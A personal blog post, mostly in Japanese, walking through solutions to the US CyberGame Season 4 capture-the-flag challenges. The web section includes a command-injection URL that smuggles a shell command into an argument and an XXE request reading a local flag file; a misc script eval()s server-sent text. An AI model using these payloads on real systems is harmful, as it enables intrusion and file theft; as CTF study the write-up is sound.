darallium's tech blog
home
blog
tech

qiita: @darallium
github: darallium
twitter: /darallium/
instagram: yu_kyu_n
email
Home tech us-cyber-2024
  • Seasons 4 US CyberGame write up

    1. 目次
    2. web
    3. Control Panel
    4. Hunt
    5. Parts Shop
    6. crypto
    7. Prime Time
    8. What’s diffie
    9. rev
    10. Flag Checker
    11. mathrev
    12. forensics
    13. Secret
    14. MISC
    15. Super Duper Quick Maths
    16. certified

    web

    Control Panel

    @app.route("/", methods=["GET"])
    def index():
        command = request.args.get("command")
        if not command:
            return render_template("index.html")
        
        arg = request.args.get("arg")
        if not arg:
            arg = ""
    
        if command == "list_processes":
            return getoutput("ps")
        elif command == "list_connections":
            return getoutput("netstat -tulpn")
        elif command == "list_storage":
            return getoutput("df -h")
        elif command == "destroy_humans":
            return getoutput("/www/destroy_humans.sh " + arg)
            

    普通にshell叩いているように見えたので、 https://uscybercombine-s4-control-panel.chals.io/?command=destroy_humans&arg=destroy_humans%26%ls+/ としたところ確かに表示されたので、B2Rを開始.

    /tmp/flag.txtにファイルがありそうに見えたが、cat コマンドがなぜか使えなかったので別方法を探索.

    #!/usr/bin/env python3
    import subprocess, json
    from http.server import SimpleHTTPRequestHandler
    from socketserver import TCPServer
    
    def get_json(content):
    	return json.dumps(content).encode()
    
    def http_server(host_port,content_type="application/json"):
    	class CustomHandler(SimpleHTTPRequestHandler):
    		def do_GET(self) -> None:
    			def resp_ok():
    				self.send_response(200)
    				self.send_header("Content-type", content_type)
    				self.end_headers()
    			if self.path == '/status':
    				resp_ok()
    				self.wfile.write(get_json({'status': 'ready to destroy'}))
    				return
    			elif self.path == "/destroy":
    				resp_ok()
    				self.wfile.write(get_json({'status': "destruction complete!"}))
    				return
    			elif self.path == '/shutdown':
    				resp_ok()
    				self.wfile.write(get_json({'status': 'shutting down...'}))
    				self.wfile.write(get_json({'status': 'SIVBGR{no-flag-4-u}'}))
    				return
    			self.send_error(404, '404 not found')
    		def log_message(self, format, *args):
    			pass
    	class _TCPServer(TCPServer):
    		allow_reuse_address = True
    	httpd = _TCPServer(host_port, CustomHandler)
    	httpd.serve_forever()
    
    http_server(('127.0.0.1',3000))

    を見たところ、3000番にflagが出されてそうなのでアクセスしてみたところ、solved.

    {"status": "destruction complete!"} % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0 100 64 0 64 0 0 53556 0 --:--:-- --:--:-- --:--:-- 64000 {"status": "shutting down..."}{"status": "SIVBGR{g00dby3_ARI4}"}

    以上.

    Hunt

    htmlの下の方に

    <!-- Don't forget to check in on the bots! -->
    <!-- p1: SIVBGR{r1s3_ -->

    robots.txt

    Disallow: /secret-bot-spot
    
    p2: 0f_th3_

    <script src="/static/js/robot.js"></script>より

    const robot = document.getElementById('robot');
    let isMovingUp = true;
    
    function animateRobot() {
        if (isMovingUp) {
            robot.style.transform = 'translateY(-20px)';
            isMovingUp = false;
        } else {
            robot.style.transform = 'translateY(0)';
            isMovingUp = true;
        }
    }
    
    setInterval(animateRobot, 1000);

    以上.

    Parts Shop

    どうやら、XMLに文字列を埋め込んでいるようだ.

    function generateXML(event) {
      event.preventDefault();
    
      var name = document.getElementById('name').value;
      var author = document.getElementById('author').value;
      var image = document.getElementById('image').value;
      var description = document.getElementById('description').value;
    
      var payload = '<?xml version="1.0" encoding="UTF-8"?>\n' +
        '<part>\n' +
        '  <name>' + name + '</name>\n' +
        '  <author>' + author + '</author>\n' +
        '  <image>' + image + '</image>\n' +
        '  <description>' + description + '</description>\n' +
        '</part>';
    
      fetch("/blueprint", {
        method: "POST",
        body: payload,
      })
      .then(res => {
        if (res.redirected) {
          window.location.href = res.url;
        } else if (res.status == 400) {
          document.getElementById("error").innerHTML = "Please fill out all required fields.";
        }
      })
      .catch(error => console.error(error));
    }

    XXEをとりあえずやってみる.

    POST /blueprint HTTP/1.1
    Host: uscybercombine-s4-parts-shop.chals.io
    Cookie: session=eyJ1dWlkIjoiZmNjZWQwMzEtODhmNC00MTAyLTg0MjEtYzNiOGIwNzI3ZWVjIn0.ZlxPrQ.K0zqIZQOyzLBPJgxiOUQleSvSm0
    Content-Length: 142
    Sec-Ch-Ua: "Not-A.Brand";v="99", "Chromium";v="124"
    Sec-Ch-Ua-Platform: "Windows"
    Sec-Ch-Ua-Mobile: ?0
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
    Content-Type: text/plain;charset=UTF-8
    Accept: */*
    Origin: https://uscybercombine-s4-parts-shop.chals.io
    Sec-Fetch-Site: same-origin
    Sec-Fetch-Mode: cors
    Sec-Fetch-Dest: empty
    Referer: https://uscybercombine-s4-parts-shop.chals.io/blueprint
    Accept-Encoding: gzip, deflate, br
    Accept-Language: ja,en-US;q=0.9,en;q=0.8
    Priority: u=1, i
    Connection: close
    
    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE foo [
    <!ENTITY flag SYSTEM "file:///flag.txt">
    ]>
    <part>
      <name>flag2</name>
      <author></author>
      <image></image>
      <description>&flag; is flag
    </description>
    </part>
    flag2
    Created by: undefined
    
    SIVBGR{fu11y_upgr4d3d} is flag

    crypto

    Prime Time

    Nが十分に大きくない.

    factordb

    from Crypto.Util.number import getPrime, long_to_bytes, bytes_to_long
    
    #Your encrypted flag: 
    #c: 
    c= 67901295092999403377812474031753022640207373798290839976120254385637043193411358791915464230611073615341268787302565972547452757697916207952702288626173819641234095639259743277146365018265212857092237457393449677065307951821155969047439248276581778411840300731922481525641974287306159852931109413442675622573
    
    # Public Key:
    
    # n: 
    N= 98813858186636016061828413291587334532178109240417756890955763078740391019450718373743031325554048662069578591495075978203742992839688516726192682096525494907367614705518833413598767554267177141399324414271413882430512533175133684772034149758259287505147508079731874384109521277000217376431320424120947279649
    
    #p: 
    p= 10982649839305281359093240091231892576733401067753111072429500083504978610994787471724765658823614458122443035638808449338442889570184467486237572144698783
    
    #q: 
    q= 8997269295884843284681982750060377872478356391734956728242353212469576051387114547220167685859751845030095832125183195971175109609583065893432498097335103
    
    #e: 
    e = 65537
    
    phi = (p - 1) * (q - 1)
    d = pow(e, -1, phi)
    
    def encrypt(plaintext):
        m = bytes_to_long(plaintext)
        c = pow(m, e, N)
        cipher = long_to_bytes(c)
        return cipher
    
    def decrypt(cipher):
        #ci = bytes_to_long(cipher)
        ci = cipher
        m = pow(ci, d, N)
        plaintext = long_to_bytes(m)
        return plaintext
    
    print(decrypt(c))
    

    What’s diffie

    Python 3.12.3 (main, Apr 15 2024, 17:48:16) [MSC v.1929 64 bit (AMD64)] on win32
    Type "help", "copyright", "credits" or "license" for more information.
    >>> g =  12
    >>> p =  53
    >>> a =  8
    >>> b =  67
    >>> A=(g ** a) % p
    >>> B=(g ** b) % p
    >>> print(A, b)
    10 67
    >>> print(A, B)
    10 26
    >>> KA = (B **a) % p
    >>> KB = (A ** b) % p
    >>> print(K_A, K_B)
    >>> print(KA, KB)
    47 47
    >>> l=[0x7c,0x66,0x79,0x6d,0x68,0x7d,0x54,0x1b,0x70,0x49,0x43,0x1b,0x48,0x70,0x49,0x5d,0x1f,0x42,0x70,0x1b,0x43,0x1e,0x4c,0x1c,0x70,0x1b,0x41,0x4b,0x70,0x4d,0x1f,0x4d,0x52]
    >>> m=[47 ^ c for c in l]
    >>> m=[chr(47 ^ c) for c in l]
    >>> print(m)
    ['S', 'I', 'V', 'B', 'G', 'R', '{', '4', '_', 'f', 'l', '4', 'g', '_', 'f', 'r', '0', 'm', '_', '4', 'l', '1', 'c', '3', '_', '4', 'n', 'd', '_', 'b', '0', 'b', '}']
    

    rev

    Flag Checker

    • origin
    phoneSteak = [55, 33, 52, 40, 35, 56, 86, 90, 66, 111, 81, 26, 23, 75, 109, 26, 88, 90, 75, 67, 92, 25, 87, 88, 92, 84, 23, 88]
    
    libraryDiscussion = input("Enter the flag: ")
    confusedSheep = [ord(herdSlot) for herdSlot in libraryDiscussion]
    mintFarm = len(confusedSheep)
    trustBreed = len(phoneSteak)
    
    seaTent = 6
    callCover = 17
    foxEmbox = (248 // trustBreed) % trustBreed
    outfitStrike = 10
    brushCopy = (341 // trustBreed) % 17
    injectPush = (1240 + 28 // trustBreed) % trustBreed
    
    makeupRoof = []
    tinRoyalty = []
    if trustBreed == mintFarm:
        for heartCool in confusedSheep:
            makeupRoof.append(heartCool - 27)
        for angelStay in makeupRoof:
            tinRoyalty.append(angelStay ^ 15)
        
        franchisePath = tinRoyalty[seaTent]
        tinRoyalty[seaTent] = tinRoyalty[injectPush]
        tinRoyalty[injectPush] = franchisePath
        eastGhostwriter  = tinRoyalty[outfitStrike]
    
        tinRoyalty[outfitStrike] = tinRoyalty[foxEmbox]
        tinRoyalty[foxEmbox] = eastGhostwriter
        personPioneer = tinRoyalty[callCover]
        
        tinRoyalty[callCover] = tinRoyalty[brushCopy]
        tinRoyalty[brushCopy] = personPioneer
    
        lineMoon = tinRoyalty[0 : len(tinRoyalty) // 2]
        puddingCommission = tinRoyalty[len(tinRoyalty) // 2 : len(tinRoyalty)]
        furRegret = lineMoon + puddingCommission[::-1]
        tinRoyalty = furRegret
    
        if tinRoyalty == phoneSteak:
            print("Correct!! :)")
        else:
            print("Incorrect flag :(")
    
    else:
        print("Incorrect :(")
    
    • formatted
    hardcode = [55, 33, 52, 40, 35, 56, 86, 90, 66, 111, 81, 26, 23, 75, 109, 26, 88, 90, 75, 67, 92, 25, 87, 88, 92, 84,
                23, 88]
    
    input_flag = input("Enter the flag: ")
    input_hex = [ord(c) for c in input_flag]
    input_length = len(input_hex)
    hardcode_length = len(hardcode)  # 28
    
    i: int = 6
    j = (1240 + 28 // hardcode_length) % hardcode_length
    k = 10
    l = (248 // hardcode_length) % hardcode_length
    m: int = 17
    n = (341 // hardcode_length) % 17
    
    print(i, j, k, l, m, n)
    
    print([chr((c^15)+ 27) for c in hardcode])
    
    makeupRoof = []
    input_chars = []
    if hardcode_length == input_length:
        for inn in input_hex:
            makeupRoof.append(inn - 27) 
        for outt in makeupRoof:
            input_chars.append(outt ^ 15) 
    
        temp1 = input_chars[i]
        input_chars[i] = input_chars[j]
        input_chars[j] = temp1
    
        temp2 = input_chars[k]
        input_chars[k] = input_chars[l]
        input_chars[l] = temp2
    
        temp3 = input_chars[m]
        input_chars[m] = input_chars[n]
        input_chars[n] = temp3
    
        zenhan = input_chars[0: len(input_chars) // 2]
        kouhan = input_chars[len(input_chars) // 2: len(input_chars)]
        furRegret = zenhan + kouhan[::-1]
        input_chars = furRegret
    
        print(input_chars)
        print([chr(c) for c in input_chars])
        if input_chars == hardcode:
            print("Correct!! :)")
        else:
            print("Incorrect flag :(")
    
    else:
        print("Incorrect :(")
    1. 28文字をinputとして受け取り
    2. inputの各文字からhexで27減算
    3. hard_codedの各文字のhexを15 xor
    4. 6< - >9, 10< - >8, 17< - > 12と入れ替え
    5. 前半と後半で分け、後半を逆順
    6. 一致をチェック

    答えを逆に探知すればいいので、exploitは以下の手順.

    orig = [chr((c^15)+27) for c in hardcode]
    temp1 = orig[i]
    orig[i] = orig[j]
    orig[j] = temp1
    temp1 = orig[k]
    orig[k] = orig[l]
    orig[l] = temp1
    temp1 = orig[m]
    orig[m] = orig[n]
    orig[n] = temp1
    temp1 = orig[0: 14]
    temp2 = orig[14:28]
    ok = temp1 + temp2[::-1]
    print(ok)

    SIVBGR{pyth0n_r3v3rs1ng_pr0}

    mathrev

    bool checkflag(char *input)
    
    {
      size_t len;
      int i;
      
      for (i = 0; (len = strlen(input), (ulong)(long)i < len && (i < 31)); i = i + 1) {
        if ((&flagCheck)[i] + (int)input[i] != 0x80) {
          return false;
        }
      }
      len = strlen(input);
      return len == 31;
    }

    これを解釈してやると以下の通り.

    
    input[i] + &flagcheck[i] == 128 ==> ok
    
    input[i] == 128 - flagcheck[i] // <- やるだけ

    ghidraのcopy specialという機能を使うと便利.

    exploit

    l = [ 0x2d, 0x37, 0x2a, 0x3e, 0x39, 0x2e, 0x05, 0x0a, 0x4d, 0x0e, 0x07, 0x21, 0x1c, 0x4f, 0x1a, 0x1a, 0x4f, 0x1d, 0x0b, 0x14, 0x0c, 0x21, 0x10, 0x1f, 0x0d, 0x0d, 0x09, 0x50, 0x0e, 0x1c, 0x03 ]
    
    print([chr(128 - c)for c in l])
    
    # SIVBGR{v3ry_d1ff1cult_passw0rd}

    forensics

    Secret

    Untitled

    pdf2textを行うと以下.

    Date: 08-16-1969
    Extra-terrestrial life confirmed :
    After the quarantine period was completed ALIENT INVESTIGATION UNIT
    members Neil Armstrong Edwin Aldrin and Michael Collins were
    interrogated – confirming the presence of Extra-Terrestrial Life
    (ELF).
    Gen Stills orders are as follows: Do not allow the population to
    learn of the ELFs. The astronauts involved are immediately to be
    briefed on the consequences of sharing information about these
    matters to the public.
    Additionally, the ALIENT INVESTIGATION UNIT has been granted an extra
    300,000,000 for the continued investigation and containment of ELFs.
    At the moment, it is believed they intend no harm. The question of
    why they have traveled to Earth remains unanswered at the present
    time. As such, extreme caution will be taken. Any ELF spotted should
    be captured – failing that, it should be exterminated.
    **FLAG: SIVBGR{C0nta1n_Th3_Al13ns}**

    MISC

    Super Duper Quick Maths

    pwntoolsの練習としてかなりよさそう.

    ┌──(kali㉿YM-DEFINE7-HOME)-[/mnt/…/2024/ctf/uscybergames/fanum_tax]
    └─$ nc 167.99.118.184 31340
    Solve my math test and you'll get my flag
    But I was told you were really fast a math, 200 questions
    So you only have 3 seconds per question >:)
    1 + 18
    19
    Great job 0!
    47 * 5
    
    Time's up! Sorry!
    
    ┌──(kali㉿YM-DEFINE7-HOME)-[/mnt/…/2024/ctf/uscybergames/fanum_tax]
    └─$ nc 167.99.118.184 31340
    Solve my math test and you'll get my flag
    But I was told you were really fast a math, 200 questions
    So you only have 3 seconds per question >:)
    43 - 29
    14
    Great job 0!
    43 - 16
    2
    Time's up! Sorry!
    
    ┌──(kali㉿YM-DEFINE7-HOME)-[/mnt/…/2024/ctf/uscybergames/fanum_tax]
    └─$ nc 167.99.118.184 31340
    Solve my math test and you'll get my flag
    But I was told you were really fast a math, 200 questions
    So you only have 3 seconds per question >:)
    46 * 13
    
    Time's up! Sorry!
    
    ┌──(kali㉿YM-DEFINE7-HOME)-[/mnt/…/2024/ctf/uscybergames/fanum_tax]
    └─$ nc 167.99.118.184 31340
    Solve my math test and you'll get my flag
    But I was told you were really fast a math, 200 questions
    So you only have 3 seconds per question >:)
    38 - 12
    26
    Great job 0!
    4 + 24
    28
    Great job 1!
    36 + 22
    58
    Great job 2!
    24 - 50
    -26
    Great job 3!
    13 // 38
    Time's up! Sorry!

    3秒以内にこたえないと終了、合計200問出るらしい.演算子的にpythonで行けそうに見えたのでevalしてみたらsolved.

    exploit.py

    from pwn import *
    
    context(os='linux', arch='i386')
    context.log_level = 'debug' # output verbose log
    
    HOST = "167.99.118.184"
    PORT = 31340
    io = remote(HOST, PORT)
    io.recvuntil(b'question >:)\n')
    
    for i in range(1,201):
        q = io.recvline().decode('utf-8')
    
        io.sendline(str(eval(q)))
        io.recvline()

    一時問題が落ちてたが、mathの問題数が多すぎるんじゃね?とは思った.

    certified

    Untitled

    抽出してRSA鍵として登録

    Untitled

    Untitled

    Untitled

    wiresharkってこんな機能あるんだ.へー

    ===============広告=================

    darallium

    Mon Jun 10 2024 00:55:50 GMT+0900 (Japan Standard Time)